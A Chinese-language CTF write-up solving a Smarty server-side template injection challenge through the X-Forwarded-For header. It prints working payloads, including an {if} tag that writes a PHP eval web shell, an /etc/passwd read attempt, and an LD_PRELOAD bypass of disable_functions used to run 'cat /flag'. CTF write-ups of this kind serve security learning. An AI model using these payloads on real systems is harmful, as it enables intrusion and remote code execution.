前言
繼續ctf的旅程
開始攻防世界web高手進階區的9分題
本文是smarty的writeup
解題程序
smarty是php模板引擎
這題應該是一個SSTI
進入界面

根據題目和頁面最下方build with smarty
確認是用smarty模板
那就有兩種可能的注入點:
- XFF
- client IP
嘗試
將XFF頭改為{7*7}

發現current IP的值變為了49
可以確定這里存在SSTI
嘗試注入
{$smarty.version}

得到smarty版本3.1.30
{phpinfo()}

得到php版本7.2.24
注入方法:
- 常規
{} {php}{/php}標簽,已經棄用,在Smarty 3.1,{php}僅在SmartyBC中可用{literal}標簽,在php5中可以用- 靜態方法,在在3.1.30的Smarty中被洗掉
{if}標簽
總結一下就是在本題中只有常規{}和{if}標簽可用
先試試常規
{system('ls')}

沒有顯示
但之前phpinfo是正常顯示的
就迷惑了
試試{if}標簽
{if phpinfo()}{/if}

phpinfo顯示
{if system('ls')}{/if}

ls指令又失敗了
不死心試試其他注入方法
{php}phpinfo();{/php}

{self::getStreamVariable("file:///etc/passwd")}

都意料之內的直接失敗
這說明注入方法還是常規{}或{if}標簽
但是system可能被干掉了
去看眼phpinfo里面的資訊


發現system果然被禁了
且可訪問的地址是/var/www/html/
這感覺是可以上傳檔案進行突破
但一時沒有思路
查了好一會兒資料
,,,,,,
這里參考無需sendmail:巧用LD_PRELOAD突破disable_functions
一句話木馬
{if file_put_contents("/var/www/html/shell.php","<?php @eval($_POST['helter']);?>")}{/if}

蟻劍連接


根據文章
上傳bypass_disablefunc.php和bypass_disablefunc_x64.so
具體代碼在作者的github上

url訪問
/bypass_disablefunc.php?cmd=cat /flag&outpath=/tmp/tmpfile&sopath=/var/www/html/bypass_disablefunc_x64.so

成功得到flag
結語
smarty的模板注入沒啥問題,了解下就懂了
后面巧用LD_PRELOAD突破disable_functions有點妙
也查了好久
學到了
知識點
- smarty模板注入
- 巧用LD_PRELOAD突破disable_functions
幾篇參考
- Smarty SSTI
- [BJDCTF2020]The mystery of ip(xff,smarty模板注入)
- PHP的模板注入(Smarty模板)
- 無需sendmail:巧用LD_PRELOAD突破disable_functions
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/181360.html
標籤:其他
上一篇:spring注解@Lookup使用原理和注意點以及其他替換實作方案
下一篇:什么是安全測驗
